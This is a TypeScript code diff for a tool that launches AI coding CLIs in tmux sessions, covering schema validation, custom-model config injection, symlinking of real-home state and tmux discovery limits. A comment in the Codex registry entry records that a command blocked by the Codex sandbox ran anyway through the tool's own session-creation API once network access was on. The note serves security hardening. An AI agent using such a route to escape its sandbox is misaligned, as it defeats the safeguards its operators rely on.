+        'appendSystemPrompt',
         'codemanPrefixedSessionId',
         'launcherDefaultTarget',
       ]),
@@ -224,6 +225,7 @@ const envExportSchema = z
             'muxName',
             'effortLevel',
             'effortSettingsJson',
+            'appendSystemPrompt',
             'codemanPrefixedSessionId',
             'launcherDefaultTarget',
           ]),
@@ -286,6 +288,14 @@ const launchModelTemplate = z
   .regex(/^[a-zA-Z0-9._\-/:{}]+$/)
   .optional();
 
+/** One entry name under a CLI's real home, for `linkFromRealHome`: single path segment,
+ * leading alphanumeric, no traversal or hidden-dot escape. */
+const homeSegmentName = z
+  .string()
+  .min(1)
+  .max(40)
+  .regex(/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/);
+
 const capabilitiesSchema = z
   .object({
     external: z.boolean(),
@@ -584,10 +594,61 @@ const capabilitiesSchema = z
           kind: z.literal('configDir'),
           dirEnvVar: envName,
           fileName: z.string().min(1).max(80),
-          template: z.enum(['codex-toml', 'pi-models-json', 'omp-models-yml', 'grok-toml']),
+          template: z.enum(['codex-toml', 'pi-models-json', 'omp-models-yml', 'grok-toml', 'deepseek-patch-json']),
           launchModel: launchModelTemplate,
+          // State that must survive the isolated-directory redirect, symlinked by name from
+          // the CLI's real home (deepseek: profiles/sessions/settings.yaml). Single path
+          // segments only: the consumer joins them, so a traversal here would escape the
+          // real home. See the field's comment in cli-registry/types.ts.
+          linkFromRealHome: z.array(homeSegmentName).max(8).optional(),
+          // Which of `linkFromRealHome` are directories (missing ones are created before
+          // linking; missing files are skipped). Same segment pattern, see types.ts.
+          linkFromRealHomeDirs: z.array(homeSegmentName).max(8).optional(),
+          // The real home's fallback location, relative to the user's home, ONE segment:
+          // a leading dot is legitimate (`.dsh` is what ships) but separators, `..` and
+          // bare `.` are not; the consumer joins it under the user's home, a traversal
+          // here escapes that home and `.` IS that home (linking THROUGH it unshielded).
+          realHomeFallback: z
+            .string()
+            .min(1)
+            .max(80)
+            .regex(/^(?!\.\.?$)[^/\\]+$/)
+            .optional(),
         })
-        .strict(),
+        .strict()
+        .superRefine((recipe, ctx) => {
+          // Both rules were comments before; the schema is the security boundary, so
+          // enforce them at load time (see the header of this file).
+          if (recipe.linkFromRealHome?.length && !recipe.realHomeFallback) {
+            ctx.addIssue({
+              code: 'custom',
+              message: 'realHomeFallback is required whenever linkFromRealHome is declared',
+              path: ['realHomeFallback'],
+            });
+          }
+          for (const name of recipe.linkFromRealHome ?? []) {
+            if (name === recipe.fileName) {
+              ctx.addIssue({
+                code: 'custom',
+                message: `linkFromRealHome must never include fileName (${JSON.stringify(name)}): the generated file owns that name in the isolated directory, a link there would write THROUGH into the user's real file`,
+                path: ['linkFromRealHome'],
+              });
+            }
+          }
+          // types.ts documents the dirs list as "must be a subset of linkFromRealHome";
+          // a name absent from it names nothing (missing-file entries are skipped as
+          // files), so the recipe would silently stop creating a directory it declares.
+          const linkedNames = new Set(recipe.linkFromRealHome ?? []);
+          for (const dir of recipe.linkFromRealHomeDirs ?? []) {
+            if (!linkedNames.has(dir)) {
+              ctx.addIssue({
+                code: 'custom',
+                message: `linkFromRealHomeDirs must be a subset of linkFromRealHome: ${JSON.stringify(dir)} is not linked, so the directory rule for it can never apply`,
+                path: ['linkFromRealHomeDirs'],
+              });
+            }
+          }
+        }),
       z.object({ kind: z.literal('unsupported') }).strict(),
     ]),
   })

src/config/cli-registry/stock.ts

@@ -152,6 +152,7 @@ const CLAUDE: CliEntry = {
       // from the EFFORT_LEVELS allowlist upstream, same as every other engine value).
       effortLevel: { type: 'engine', source: 'effortLevel' },
       effortJson: { type: 'engine', source: 'effortSettingsJson' },
+      discordHint: { type: 'engine', source: 'appendSystemPrompt' },
       sessionId: { type: 'engine', source: 'sessionId' },
       sessionName: { type: 'engine', source: 'sessionName' },
     },
@@ -179,6 +180,12 @@ const CLAUDE: CliEntry = {
           { flag: '--effort', valueFrom: 'effortLevel', quote: 'single', when: { param: 'effortLevel', state: 'set' } },
           { flag: '--settings', valueFrom: 'effortJson', quote: 'single', when: { param: 'effortJson', state: 'set' } },
           { flag: '--name', valueFrom: 'sessionName', quote: 'double', when: { capabilityGate: 'nameFlag' } },
+          {
+            flag: '--append-system-prompt',
+            valueFrom: 'discordHint',
+            quote: 'single',
+            when: { param: 'discordHint', state: 'set' },
+          },
         ],
       },
       {
@@ -203,6 +210,12 @@ const CLAUDE: CliEntry = {
           { flag: '--effort', valueFrom: 'effortLevel', quote: 'single', when: { param: 'effortLevel', state: 'set' } },
           { flag: '--settings', valueFrom: 'effortJson', quote: 'single', when: { param: 'effortJson', state: 'set' } },
           { flag: '--name', valueFrom: 'sessionName', quote: 'double', when: { capabilityGate: 'nameFlag' } },
+          {
+            flag: '--append-system-prompt',
+            valueFrom: 'discordHint',
+            quote: 'single',
+            when: { param: 'discordHint', state: 'set' },
+          },
         ],
       },
     ],
@@ -629,7 +642,10 @@ const CODEX: CliEntry = {
       bypassApprovals: { type: 'bool' },
       networkAccess: { type: 'bool' },
       animations: { type: 'bool' },
-      model: { type: 'token', pattern: 'model' },
+      // `model-plain-colon`, not `model`: the custom-model feature forces the selected id
+      // onto this param (`launchModel: '{modelId}'` below), and Ollama-style ids carry a
+      // `:` (`qwen3:32b`). A leading alphanumeric still keeps `--yolo` from riding a flag.
+      model: { type: 'token', pattern: 'model-plain-colon' },
       reasoningEffort: { type: 'enum', values: [...CODEX_REASONING_EFFORTS] },
       resumeId: { type: 'token', pattern: 'id' },
     },
@@ -653,13 +669,18 @@ const CODEX: CliEntry = {
           { flag: '--dangerously-bypass-approvals-and-sandbox', when: { param: 'bypassApprovals', is: true } },
           // Lets commands in codex's workspace-write sandbox open network connections,
           // Codeman's own API on loopback included (the codeman skill's curl calls fail
-          // with "couldn't connect" without it). Narrower than the bypass above: the
-          // sandbox and the approval prompts stay. Measured on 0.162.0 (`codex sandbox` and
+          // with "couldn't connect" without it). Measured on 0.162.0 (`codex sandbox` and
           // a live pane): loopback stays blocked under workspace-write until this is set.
+          // ⚠️ Not a safe middle ground below the bypass above: that API can start a session
+          // outside the sandbox with no approval prompt, so codex's sandbox no longer contains
+          // a command once this is on. Measured 2026-11-06: a `touch` the sandbox refused
+          // landed through POST /api/sessions, and with a password set too from inside a
+          // Codeman pane, which inherits CODEMAN_PASSWORD by design.
           // ⚠️ Workspace-write ONLY: a folder codex runs read-only (one it does not trust,
           // such as a fresh non-git case) keeps the network closed and asks per command.
-          // Deliberately not paired with `--sandbox workspace-write`, which would also
-          // grant write access to a folder codex itself chose not to trust.
+          // Deliberately not paired with `--sandbox workspace-write` (owner decision,
+          // 2026-11-06), which would also grant write access to a folder codex itself chose
+          // not to trust, under a label that only says "network".
           {
             flag: '--config',
             value: 'sandbox_workspace_write.network_access=true',
@@ -887,6 +908,7 @@ const CODEX: CliEntry = {
       dirEnvVar: 'CODEX_HOME',
       fileName: 'config.toml',
       template: 'codex-toml',
+      launchModel: '{modelId}',
     },
     // CODEX_HOME already matches the CODEX_ allowedPrefix above, so it was ALREADY
     // reachable via plain envOverrides before this feature existed. It is arguably
@@ -1209,7 +1231,23 @@ const PI: CliEntry = {
     // (hasTrustRequiringProjectResources, pi 1.1.0), which would stall a spawned worker on
     // a dialog. pi reads the user-level `~/.agents/skills` without that prompt, so a pi
     // user installs it there (`npx skills add Ark0N/Codeman --skill codeman -g`).
-    altScreen: 'preserve', // pi's TUI renders into the main screen with terminal-owned scrollback
+    // Fullscreen is pi's default `tuiMode` since 1.0.0 (measured 1.0.0, 1.1.0, 1.4.0, 1.5.0 in
+    // tmux: alternate_on=1, history_size=0, mouse on, SGR): a TUI that enables tracking once at
+    // start. Codeman's replay (tab switch, reload) drops that mode in xterm, so the wheel hit an
+    // empty local buffer and went dead until a redraw. Same shape as copilot: strip the DECSETs
+    // (a drag selects locally), publish `cliMouseTracking`, and forward the wheel by hand from
+    // that flag. pi scrolls on SGR wheel reports, one row each at a low rate, faster on a spin.
+    // `tuiMode: regular`, the default below 1.0.0, is inline and emits no mouse DECSET, so the
+    // strip finds nothing and the flag stays false. A pi from 0.84.0 set to fullscreen does emit
+    // them (0.84.1 and 0.99.2 measured: alternate_on=1, mouse_any_flag=1, SGR) and the flag
+    // covers it.
+    // ⚠️ No `transcriptPageKeys`, though fullscreen pi does page on PageUp/PageDown. pi binds
+    // those keys to its editor in regular mode too, where they page nothing and move the caret
+    // of a multi-line draft, so a wheel over a fresh regular pane sent the next keystroke to the
+    // wrong line (measured). The cost: a fullscreen pi with "Wheel scrolls local history" on
+    // has no paging fallback.
+    altScreen: 'strip-mux-and-mouse',
+    wheelForward: { mode: 'always' },
     echo: { policy: 'buffer', anchor: { kind: 'cursor' } },
     // Measured on a live pi 1.1.0 pane (capture-pane every 250 ms through a turn,
     // 2026-10-09): pi has no composer glyph. Its composer sits between two `─` rules, and
@@ -1399,8 +1437,7 @@ const GROK: CliEntry = {
     // docs/, bin/ — per-file seeding like pi's credStore, not a whole-dir seedWhole copy.
     credStore: { rel: '.grok', seedFiles: ['auth.json', 'config.toml', 'pager.toml'] },
     // No remote/docker overlay needed: the defaults (exec grok / login-shell `grok`) are
-    // already correct — verified against upstream's own pinned test/grok-mode.test.ts
-    // expectation `exec "${SHELL:-/bin/sh}" -i -l -c 'grok'`.
+    // already correct, verified against upstream's own pinned test/grok-mode.test.ts.
   },
 };
 
@@ -1591,30 +1628,30 @@ const DEEPSEEK: CliEntry = {
     // SERVER's own key into every dsh pane, so DEEPSEEK_BASE_URL is the exfiltration
     // vector, not the key itself — a non-granted owner supplying THEIR OWN key removes
     // privilege rather than granting it, and clamping it here was a real regression
-    // (test/deepseek-mode.test.ts) fixed before this shipped.
-    privilegedEnvKeys: ['DSH_PERMISSION_MODE', 'DSH_HOME', 'DEEPSEEK_BASE_URL'],
-    // Reuses the already-existing DEEPSEEK_BASE_URL/DEEPSEEK_API_KEY keys above. No
-    // modelVars — dsh's model is a profile-composition entry (see `model: { source: 'none'
-    // }` above), not an env var, so forcing a specific model name may not fully work;
-    // verify against a real profile before shipping.
-    //
-    // ⚠️ appendV1Suffix is REQUIRED, not optional-nice-to-have: without it every request
-    // 404s. Confirmed live and by reading dsh's own bundled source
-    // (@deepseek-ai/dsh-llm-deepseek): it builds the request URL as
-    // `${DEEPSEEK_BASE_URL}/chat/completions` with no "/v1" of its own (its real public
-    // API, https://api.deepseek.com, expects the caller's base URL to already carry any
-    // needed prefix), while llama-swap/llama.cpp only serves the OpenAI-conventional
-    // "/v1/chat/completions" — a bare POST to ".../chat/completions" 404s live, and the
-    // 404 reported here originally ("dsh: HTTP_404: DeepSeek API error (HTTP 404)")
-    // matches dsh's own error-message template for exactly this failure. See the
-    // customModelInjection doc comment in cli-registry/types.ts for the full reasoning,
-    // including why claude/gemini must NOT get this.
+    // (test/deepseek-mode.test.ts) fixed before this shipped. CODEMAN_CUSTOM_MODEL_API_KEY
+    // joins it (like codex's entry): the dedicated custom-endpoint key rides the same
+    // allowlisted-envOverrides path as the redirect itself.
+    privilegedEnvKeys: ['DSH_PERMISSION_MODE', 'DSH_HOME', 'DEEPSEEK_BASE_URL', 'CODEMAN_CUSTOM_MODEL_API_KEY'],
+    // The installed profile supplies the transport; a per-session patch selects its exact model.
     customModelInjection: {
-      kind: 'env',
-      baseUrlVar: 'DEEPSEEK_BASE_URL',
-      apiKeyVar: 'DEEPSEEK_API_KEY',
-      modelVars: [],
-      appendV1Suffix: true,
+      kind: 'configDir',
+      dirEnvVar: 'DSH_HOME',
+      fileName: 'cordis.patch.yml',
+      template: 'deepseek-patch-json',
+      // dsh keeps state in its home that the redirect must NOT swallow: `sessions` is the
+      // session-log root (deleting it would take the user's transcripts with it on clear/
+      // close), `profiles` are the installed bundles the patch composes over, and
+      // `settings.yaml` must keep applying (read through the link only until the session's
+      // first settings write: dsh saves by rename, which replaces the link with a local file
+      // that goes away with the session). The generated home-level `cordis.patch.yml`
+      // deliberately replaces the user's own for the session rather than linking it.
+      // `sessions` and `profiles` are directories: dsh creates them itself on a first
+      // turn, and a fresh/relocated $DSH_HOME that never ran one would otherwise get a
+      // dangling link whose every write fails ENOENT: the consumer creates missing
+      // directory targets and skips missing file targets like `settings.yaml`.
+      linkFromRealHome: ['profiles', 'sessions', 'settings.yaml'],
+      linkFromRealHomeDirs: ['profiles', 'sessions'],
+      realHomeFallback: '.dsh',
     },
   },
   overlays: {
@@ -1967,8 +2004,8 @@ const COPILOT: CliEntry = {
     // custom provider and drops the GitHub sign-in requirement; COPILOT_PROVIDER_TYPE defaults to
     // "openai", which is what a Codeman custom endpoint is (llama.cpp, vLLM, Ollama).
     // COPILOT_MODEL names the model and COPILOT_PROVIDER_MODEL_ID / _WIRE_MODEL default to it.
-    // The OpenAI-style route is `<base>/v1/chat/completions`, so the base gets the `/v1` suffix
-    // the same way deepseek's does. All four already match the COPILOT_ prefix allowlist, so
+    // The OpenAI-style route is `<base>/v1/chat/completions`, so the base gets the `/v1`
+    // suffix via appendV1Suffix below. All four already match the COPILOT_ prefix allowlist, so
     // they are privileged env keys below: a non-granted multi-user owner must not be able to
     // redirect the session's endpoint or credentials through plain envOverrides.
     customModelInjection: {

src/config/cli-registry/types.ts

@@ -29,6 +29,8 @@ export type EngineValue =
   | 'muxName'
   | 'effortLevel'
   | 'effortSettingsJson'
+  /** The Discord bridge's startup hint, passed to Claude as `--append-system-prompt`. */
+  | 'appendSystemPrompt'
   /** `sessionId` prefixed `codeman_<id>` — codex's unique per-pane rollout originator. */
   | 'codemanPrefixedSessionId'
   /**
@@ -544,7 +546,7 @@ export interface CliCapabilities {
    * `strip-full` is `isAltScreenStripMode`; `strip-mux-and-mouse` is `isMuxMouseStripMode`;
    * every other value takes `isMuxAltScreenOnlyStripMode`, so at runtime `preserve` and
    * `strip-mux-only` are the same row — `preserve` only says what such a CLI's pane
-   * holds (terminal-owned scrollback: a shell, pi), not a different strip.
+   * holds (terminal-owned scrollback: a shell), not a different strip.
    *
    * - alt-screen: the tmux CLIENT emits `smcup` as its first bytes at attach, parking
    *   xterm in the scrollback-less alternate buffer; a pane program's own toggles never
@@ -558,8 +560,8 @@ export interface CliCapabilities {
    *   own mouse support must work in the pane (htop/vim in a shell).
    *
    * Stock CLIs: `strip-full` = claude, codex, gemini (Ink TUIs); `strip-mux-and-mouse` =
-   * opencode and copilot (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
-   * antigravity, grok, deepseek, omp; `preserve` = shell, pi.
+   * opencode, copilot and pi (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
+   * antigravity, grok, deepseek, omp; `preserve` = shell.
    *
    * A fourth combination is the point to split this into flags; three is still cheaper
    * as an enum.
@@ -812,9 +814,11 @@ export interface CliCapabilities {
    * for pi and omp (`--model custom/<id>`, or the CLI stays on its own default
    * provider and reports "No API key found for the selected model") or for
    * grok (`--model codeman-custom`, the `[model.<name>]` block the config
-   * declares). Absent = the config alone selects the model (claude's env vars,
-   * opencode's blob, codex's top-level `model` key). Applied by the session's
-   * respawn options through the entry's `legacyConfigField`, never by id.
+   * declares), and codex carries its bare selected id (`{modelId}`, an id the
+   * entry's `model` token pattern must be able to carry). Absent = the config
+   * alone selects the model (claude's env vars, opencode's blob). Applied by
+   * the session's respawn options through the entry's `legacyConfigField`,
+   * never by id.
    *
    * `contextLengthVar` (env kind only): the env var a discovered per-model context-window
    * size is written to when known (claude's `CLAUDE_CODE_MAX_CONTEXT_TOKENS`) — without it,
@@ -856,19 +860,13 @@ export interface CliCapabilities {
    * reuses that file.
    *
    * `appendV1Suffix` (env kind only): the raw `endpoint.baseUrl` gets `withV1Suffix()`
-   * applied before being written to `baseUrlVar`, instead of being used verbatim.
-   * DeepSeek needs this and claude/gemini must NOT get it — a per-CLI asymmetry confirmed
-   * by reading each SDK's own request-building source, not assumed: DeepSeek Harness's
-   * bundled `@deepseek-ai/dsh-llm-deepseek` concatenates `${connection.baseURL}/chat/
-   * completions` with no `/v1` insertion of its own (its real public API base,
-   * `https://api.deepseek.com`, expects the caller's base URL to already carry any
-   * needed prefix), while llama-swap/llama.cpp only ever serves the OpenAI-conventional
-   * `/v1/chat/completions` — confirmed live: a bare `POST <baseUrl>/chat/completions`
-   * 404s, `POST <baseUrl>/v1/chat/completions` succeeds, and the harness's own error
-   * message template (`DeepSeek API error (HTTP ${status})`) reproduces the exact
-   * `HTTP_404` this feature originally shipped with unexplained. Claude Code's own SDK,
-   * by contrast, was already confirmed working end-to-end against the RAW `baseUrl` with
-   * no suffix — appending one there would be wrong, not just redundant.
+   * applied before being written to `baseUrlVar`, instead of being used verbatim. Only
+   * copilot declares it: its OpenAI-style route is `<base>/v1/chat/completions`, and a
+   * gateway saves the bare root. claude/gemini must NOT get it: Claude Code's own SDK was
+   * confirmed working end-to-end against the RAW `baseUrl`, so appending a suffix there
+   * would be wrong, not just redundant. The per-session config-file recipes do not need
+   * this flag at all: `renderConfigFile()` applies the suffix inside every template
+   * (deepseek's patch included), so no configDir entry carries a raw base URL.
    */
   customModelInjection:
     | {
@@ -888,8 +886,40 @@ export interface CliCapabilities {
         kind: 'configDir';
         dirEnvVar: string;
         fileName: string;
-        template: 'codex-toml' | 'pi-models-json' | 'omp-models-yml' | 'grok-toml';
+        template: 'codex-toml' | 'pi-models-json' | 'omp-models-yml' | 'grok-toml' | 'deepseek-patch-json';
         launchModel?: string;
+        /**
+         * Names of entries under this CLI's REAL home that must be symlinked into the
+         * isolated directory after the generated file is written: the same trick
+         * `linkSharedProjectsDir()` plays for claude's `projects`. Declared for CLIs whose
+         * home carries state that must survive the redirect (deepseek's `sessions` transcript
+         * root and `profiles` bundles, plus `settings.yaml`, which would otherwise stop
+         * applying and, for `sessions`, get deleted by `removeConfigDir` on clear/close).
+         * A CLI that saves a linked file by rename replaces the link: dsh does, so the first
+         * in-session settings write turns `settings.yaml` into a local file.
+         * Never include `fileName` itself: the generated file owns that name in the isolated
+         * directory, and a link there would write THROUGH into the user's real file.
+         * Consumed generically by custom-model-injection-apply.ts.
+         */
+        linkFromRealHome?: string[];
+        /**
+         * Which of `linkFromRealHome` are DIRECTORIES (`sessions`, `profiles`) rather than
+         * files (`settings.yaml`). A missing directory target is created (mode 0700, what
+         * dsh does itself on a first turn) before linking: linking a nonexistent directory
+         * leaves a dangling symlink the CLI's own `mkdir` under it fails on with ENOENT on
+         * EVERY turn. A missing FILE target is skipped instead of linked (dangling-file
+         * links serve no purpose the CLI could not do itself). Must be a subset of
+         * `linkFromRealHome`; entries absent from it are treated as files.
+         * Consumed generically by custom-model-injection-apply.ts.
+         */
+        linkFromRealHomeDirs?: string[];
+        /**
+         * Fallback location of the CLI's real home, relative to the user's home directory
+         * (deepseek's `.dsh`), used only when neither the session's own `dirEnvVar` override
+         * nor the server's environment sets it. Required whenever `linkFromRealHome` is
+         * declared, so no consumer has to hardcode a per-CLI default of its own.
+         */
+        realHomeFallback?: string;
       }
     | { kind: 'unsupported' };
 }

src/config/foreign-tmux.ts

@@ -0,0 +1,56 @@
+/**
+ * @fileoverview Bounds for FOREIGN tmux discovery (sessions a human started
+ * outside Codeman).
+ *
+ * Two facts drive every number here. First, the number of tmux sockets and panes
+ * on a machine is NOT under Codeman's control, so a discovery walk with no ceiling
+ * is an unbounded loop over data someone else produces. Parsed rows are capped by
+ * count and the socket sweep by time: a sweep capped by count would stop in glob
+ * order, where `codeman*` sorts before `default` and a machine running many
+ * instances would never reach the sessions this feature is for. Second, an ssh
+ * handshake is an order of magnitude slower than
+ * a local `exec`; reusing the shared 5s `EXEC_TIMEOUT_MS` would classify every
+ * remote host as unreachable, so the probe gets its own timeout.
+ *
+ * @module config/foreign-tmux
+ */
+
+/** How often the browser re-polls `/api/mux/foreign` while the home screen is visible. */
+export const FOREIGN_POLL_INTERVAL_MS = 8000;
+
+/**
+ * Server-side cache TTL for a LOCAL scan. This, not the poll interval, is what
+ * bounds the real cost: N open tabs polling at 8s still trigger at most one scan
+ * per TTL.
+ */
+export const FOREIGN_CACHE_TTL_MS = 5000;
+
+/** Timeout for one probe invocation (local exec, `docker exec`, or one ssh). */
+export const FOREIGN_PROBE_TIMEOUT_MS = 12000;
+
+/**
+ * How long one tmux server may take to answer the probe's ping, in the script's own
+ * `sleep`, so whole seconds. A healthy server takes milliseconds. One that misses this
+ * costs only its own rows, and the sweep moves on to the next socket.
+ */
+export const FOREIGN_SOCKET_TIMEOUT_SECONDS = 2;
+
+/** How long a timed-out probe's process group gets on SIGTERM before SIGKILL. */
+export const FOREIGN_PROBE_KILL_GRACE_MS = 2000;
+
+/** Max pane rows parsed from one probe. Panes past this are dropped, not errors. */
+export const FOREIGN_MAX_PANES = 400;
+
+/** Max process rows parsed from one probe's `ps` snapshot. */
+export const FOREIGN_MAX_PROCS = 4000;
+
+/** Max bytes of probe stdout kept. A runaway `ps` must not become a heap problem. */
+export const FOREIGN_PROBE_MAX_BYTES = 2 * 1024 * 1024;
+
+/**
+ * Longest argv or pane command kept from one row. The caps above bound how many rows a
+ * probe carries, this bounds what one costs: a row is text from someone else's process,
+ * and `ps` prints a 128 KiB argv in full. A launcher that needed more than this to be
+ * recognised reads as `shell`, which only changes the label on its row.
+ */
+export const FOREIGN_MAX_ARGV_CHARS = 4096;

src/config/path-probe.ts

@@ -46,3 +46,10 @@ export const MAX_STALLED_PATH_PROBES = Math.min(
   PATH_PROBE_STALL_CEILING,
   envInt('CODEMAN_PATH_PROBE_MAX_STALLED', Math.max(1, PATH_PROBE_STALL_CEILING - 1), 1, 64)
 );
+
+/**
+ * How long a session waits before trying again to resolve its workspace's symlinks
+ * after the folder did not answer, so a mount that recovers is picked up (the pane
+ * directory reading stays in the resolved spelling meanwhile).
+ */
+export const WORKSPACE_REALPATH_RETRY_MS = 60_000;

src/custom-model-hosts.ts

@@ -52,18 +52,22 @@ export interface CustomModelHost {
   defaultModelId?: string;
   /**
    * Discovered context-window size (tokens) per model id, keyed by the same strings as
-   * `models`. Populated opportunistically during discovery (`custom-model-routes.ts`) from
-   * llama.cpp/llama-swap's `GET /props?model=<id>` — the plain OpenAI-shaped `/v1/models`
-   * response has no such field. Only ever probed for a model the server already reports as
-   * loaded (llama-swap's `status.value === 'loaded'`); an unloaded one is deliberately never
-   * probed, since llama-swap treats `/props?model=` as a routing hint that can trigger an
-   * actual (slow, GPU-swapping) model load as a side effect of merely asking. A model this
-   * has no entry for simply gets no context-length env override applied — never a guess.
+   * `models`. Populated only by discovery (`custom-model-routes.ts`), from the strongest
+   * source the server offers: the llama-swap launch command reported by `GET /running`
+   * (the source of truth for a loaded model), then llama.cpp's `GET /props?model=<id>`
+   * `n_ctx` (only ever probed for a model the server already reports as loaded, since
+   * llama-swap treats `/props?model=` as a routing hint that can trigger an actual
+   * (slow, GPU-swapping) model load as a side effect of merely asking), then the model's
+   * own `GET /v1/models` entry (`context_length`, else `context_window`, which current
+   * llama-swap, Bifrost and OpenRouter-style servers each state to varying degrees). A
+   * model with no entry here falls back to the endpoint's `defaultContextLength`; with
+   * neither, it simply gets no context-length env override applied, never a guess.
    */
   modelContextLengths?: Record<string, number>;
   /**
    * Discovered number of parallel server slots per model id, keyed like `modelContextLengths`
-   * and populated on the same loaded-models-only basis. Read from the launch command's
+   * but populated only for models the server reports loaded (a listing never states a slot
+   * count, unlike `contextLengths`, which every entry can supply). Read from the launch command's
    * `--parallel`/`-np` when it states one, otherwise from llama.cpp's own `/props`
    * `total_slots` (a llama-server started without `--parallel` picks the count itself, so
    * the command cannot say). llama-server splits its context across these slots (by default
@@ -88,6 +92,29 @@ export interface CustomModelHost {
    * server-side check relies on.
    */
   modelSizesGB?: Record<string, number>;
+  /**
+   * User-set fallback context length (tokens), applied via
+   * `resolveCustomModelContextLength()` at every read site (the swap route, the
+   * quick-start route, boot recovery) only when `modelContextLengths` has no entry for
+   * the selected model (a gateway that states no per-model figure, a model never loaded
+   * yet). It is the model's WHOLE window, never a per-slot figure: the Claude floor
+   * check divides it by any stored slot count exactly like a discovered figure. Never
+   * written by discovery, so a value set in the endpoint editor survives every
+   * re-discovery sweep; unset keeps the long-standing behaviour of letting each CLI
+   * assume its own default.
+   */
+  defaultContextLength?: number;
+}
+
+/**
+ * The context window to apply for `modelId` on `host`: the discovered per-model figure when
+ * discovery has one, else the endpoint's user-set `defaultContextLength`, else undefined
+ * (no override applied, never a guess). ONE helper for every read site: the swap route,
+ * the quickstart route and boot recovery each re-write the CLI's config files, and a site
+ * that forgot the fallback silently loses the endpoint default on the next respawn.
+ */
+export function resolveCustomModelContextLength(host: CustomModelHost, modelId: string): number | undefined {
+  return host.modelContextLengths?.[modelId] ?? host.defaultContextLength;
 }
 
 export function customModelHostsPath(configDir: string): string {

src/custom-model-injection-apply.ts

@@ -10,9 +10,9 @@
  * cli-registry changes" requirement it was written against.
  */
 
-import { chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync, rmSync, symlinkSync } from 'node:fs';
+import { chmodSync, existsSync, lstatSync, mkdirSync, readFileSync, writeFileSync, rmSync, symlinkSync } from 'node:fs';
 import { homedir, platform } from 'node:os';
-import { join, dirname } from 'node:path';
+import { join, dirname, isAbsolute } from 'node:path';
 import { dataPath } from './config/instance.js';
 import type { CliEntry } from './config/cli-registry/types.js';
 import {
@@ -30,25 +30,99 @@ export function customModelConfigDir(sessionId: string): string {
  * Writes a `ConfigDirInjection`'s files under `baseDir` and returns the full
  * envOverrides object a caller should merge into the session/process env
  * (the dir-redirect var plus any `extraEnv` the config file references by
- * name). Never touches anything outside `baseDir` — the caller is
- * responsible for choosing an isolated directory (never the user's real
- * `~/.codex`, `~/.pi`, etc.).
+ * name). The generated files stay under `baseDir`, but a recipe that declares
+ * `linkFromRealHome` additionally links (and, for missing directory targets,
+ * creates) entries in the CLI's REAL home: the caller is still responsible
+ * for choosing an isolated `baseDir` (never the user's real `~/.codex`,
+ * `~/.pi`, etc.), it is just no longer the only directory touched.
  *
  * pi and omp embed the API key literally in the file, so the tree is written
  * 0700/0600 like every other secret-bearing file under `~/.codeman`; the chmod
  * covers a re-apply onto a file that already exists (`mode` only applies at
  * creation).
  */
-export function applyConfigDirInjection(baseDir: string, injection: ConfigDirInjection): Record<string, string> {
+export function applyConfigDirInjection(
+  baseDir: string,
+  injection: ConfigDirInjection,
+  /**
+   * The value this SESSION's own env overrides set for `injection.dirEnvVar`, when it
+   * set one: a user who relocated the CLI's real home (an allowlisted key like
+   * DSH_HOME) must have their state linked from THAT directory, not the server's.
+   */
+  sessionHomeOverride?: string
+): Record<string, string> {
   for (const file of injection.files) {
     const filePath = join(baseDir, file.relPath);
     mkdirSync(dirname(filePath), { recursive: true, mode: 0o700 });
     writeFileSync(filePath, file.content, { encoding: 'utf8', mode: 0o600 });
     chmodSync(filePath, 0o600);
   }
+  linkRealHomeEntries(baseDir, injection, sessionHomeOverride);
   return { [injection.dirEnvVar]: baseDir, ...injection.extraEnv };
 }
 
+/**
+ * Symlinks the registry recipe's `linkFromRealHome` entries out of the CLI's real home
+ * into the otherwise-isolated `baseDir`, so redirecting `dirEnvVar` moves only the
+ * generated config file and not the state that has to survive the session (deepseek:
+ * the `sessions` transcript root `removeConfigDir` would otherwise delete, the `profiles`
+ * bundles the patch composes over, and `settings.yaml`). Declared per entry in stock.ts:
+ * this consumer is recipe-driven and names no CLI itself.
+ *
+ * Home resolution: the session's own override first (unless it IS `baseDir`, a re-apply
+ * onto a session already holding a previous injection's value must not self-link), then
+ * the server's environment, then the recipe's `realHomeFallback`. Only ABSOLUTE values
+ * are considered: a set-but-relative `DSH_HOME`-style home resolves against the CLI's
+ * cwd, and joining it here would mkdir/symlink under the SERVER's working directory and
+ * leave relative links that dangle. No home resolvable =
+ * no links, same best-effort posture as `linkSharedProjectsDir()`.
+ */
+function linkRealHomeEntries(baseDir: string, injection: ConfigDirInjection, sessionHomeOverride?: string): void {
+  const names = injection.linkFromRealHome;
+  if (!names || names.length === 0) return;
+  const absoluteOnly = (value: string | undefined): string | undefined =>
+    value && isAbsolute(value) ? value : undefined;
+  const fromSession = sessionHomeOverride?.trim();
+  const realHome =
+    absoluteOnly(fromSession && fromSession !== baseDir ? fromSession : undefined) ||
+    absoluteOnly(process.env[injection.dirEnvVar]?.trim()) ||
+    (injection.realHomeFallback ? join(homedir(), injection.realHomeFallback) : undefined);
+  if (!realHome) return;
+  const dirs = new Set(injection.linkFromRealHomeDirs ?? []);
+  for (const name of names) {
+    linkRealHomeEntry(join(realHome, name), join(baseDir, name), dirs.has(name));
+  }
+}
+
+function linkRealHomeEntry(target: string, link: string, isDir: boolean): void {
+  // lstat, never existsSync: existsSync is false for a DANGLING link, and recovery
+  // re-applies on every restart, so the second pass would try to recreate the link and
+  // throw EEXIST. lstat answers for real entries, good links and dangling links alike.
+  try {
+    if (lstatSync(link)) return; // already linked (idempotent re-apply) or a real dir wrote one
+  } catch {
+    // ENOENT: nothing is here yet, the only state in which a link gets created
+  }
+  if (!existsSync(target)) {
+    if (!isDir) return; // missing FILE target: skip, never plant a dangling file link
+    // Missing DIRECTORY target: a dangling directory link is not inert, since the CLI's own
+    // recursive mkdir THROUGH it fails ENOENT on every turn (dsh writing under
+    // `$DSH_HOME/sessions` on a fresh/relocated home). Create it first, 0700, exactly
+    // what dsh itself does on a first turn.
+    try {
+      mkdirSync(target, { recursive: true, mode: 0o700 });
+    } catch {
+      return; // e.g. the target's parent refuses writes: no link rather than a dangling one
+    }
+  }
+  try {
+    symlinkSync(target, link, platform() === 'win32' ? 'junction' : 'dir');
+  } catch {
+    // best-effort only: a platform that refuses symlinks keeps the documented
+    // side effect for this session rather than failing the whole apply over it
+  }
+}
+
 /**
  * Real, shared Claude config directory Codeman's own host process runs under — honors
